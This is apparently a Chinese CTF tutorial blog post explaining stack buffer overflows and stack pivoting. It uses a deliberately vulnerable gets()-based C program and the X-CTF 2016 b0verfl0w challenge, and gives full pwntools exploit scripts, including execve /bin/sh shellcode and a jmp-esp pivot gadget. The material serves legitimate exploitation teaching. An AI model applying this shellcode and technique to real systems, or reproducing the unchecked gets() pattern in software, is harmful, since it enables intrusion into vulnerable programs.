stackoverflow之stack-pivoting

前言

pwn很爽,一时pwn一时爽,时时pwn时时爽。

stackoverflow

stackoverflow的条件是:

  • 输入点(可往栈上写入数据)
  • 溢出点(存在危险函数,且写入的空间没有被良好控制)

basic

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <string.h>
void success(){puts("You Hava already controlled it.");}
void vulnerable(){
char s[12];
gets(s);
return;
}
int main(int argc,char **argv){
vulnerable();
return 0;
}

该binary满足stackoverflow的条件,调用危险函数gets,往栈上的s[12]写入数据,同时没有控制写入空间。

stackoverflow最基础的利用方式就是劫持EIP到特定的函数,从而改变程序的执行流程,例如在本题中劫持到success函数。

如何劫持EIP到success函数?填满缓冲区,然后填入success函数的地址。

如何计算出缓冲区大小?如何找到success函数的地址?

1
objdump -d stackoverflow -M intel | grep -C 30 "<main>"

这条命令是使用objdump将stackoverflow反编译成intel语法的汇编代码,同时过滤出来main函数的前后30行。

image-20191126120513865

由此即可构造出来payload:

1
payload = '\x90'*offset+success_addr

在写exploit前,需要确定binary是32位还是64位。

image-20191126121146934

所有的条件都已经具备,下面为exploit:

1
2
3
4
5
6
7
from pwn import *
p = process('./stackoverflow')
offset = 0x14+4
addr = 0x804843b
payload = '\x90'*offset + p32(addr)
p.sendline(payload)
p.interactive()

image-20191126121355095

stack-pivoting

stack-pivoting也叫堆栈旋转。

以X-CTF-Quals-2016-b0verfl0w 为例:

image-20191126124720163

binary中没有后门函数,利用思路是将shellcode写入栈中,然后劫持EIP到shellcode地址。

那么shellcode写入到栈中哪里好呢?一个很好的位置就是[ebp-20h],即伪代码中的s位置。

当将shellcode写入到[ebp-20h]中后,接下来就是如何劫持EIP到[ebp-20h]地址,利用的想法是stack-pivoting。

下图为stack-pivoting的payload在内存中的分布:

image-20191126140258699

这段payload是往内存中依次填充shellcode\ebp\jmp_esp_addr\asm(sub esp,offset;jmp esp)

当binary被触发执行后,控制流会在原栈帧的基础上,进行旋转执行,如下图所示:

image-20191126143547993

stack-pivoting的实现关键在于jmp_esp_addr的寻找和offset的计算。

此处jmp_esp_addr的特点正如命名,一个可以直接跳转到esp的ROP gadgets的地址,可以利用ROPgadget工具寻找:

1
ROPgadget --binary b0verfl0w --only 'jmp|ret'

image-20191126144500873

jmp_esp_addr=0x08048504。

而offset涉及到EIP是否可以旋转回到原ESP地址即shellcode的位置,故offset的计算应该为:

offset=len(shellcode)+len(ebp)+len(jmp_esp_addr)

然而由于可写入的地址空间为0x20=32个字节,故shellcode的长度必需要尽量精短,满足在32个字节以内,故offset的计算为:

offset=0x20+len(ebp)+len(jmp_esp_addr)=0x20+4+4=0x28(binary为32位)

由此,exploit为:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./b0verfl0w')
shellcode= "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print len(shellcode)
jmp2esp = 0x08048504
#0x28=0x20+4+4
sub_esp_jmp = asm('sub esp,0x28;jmp esp')
payload = shellcode+(0x20-len(shellcode))*'\x90'+'\x90'*4+p32(jmp2esp)+sub_esp_jmp
p.sendline(payload)
p.interactive()

image-20191126151137150

参考

github-ctf-wiki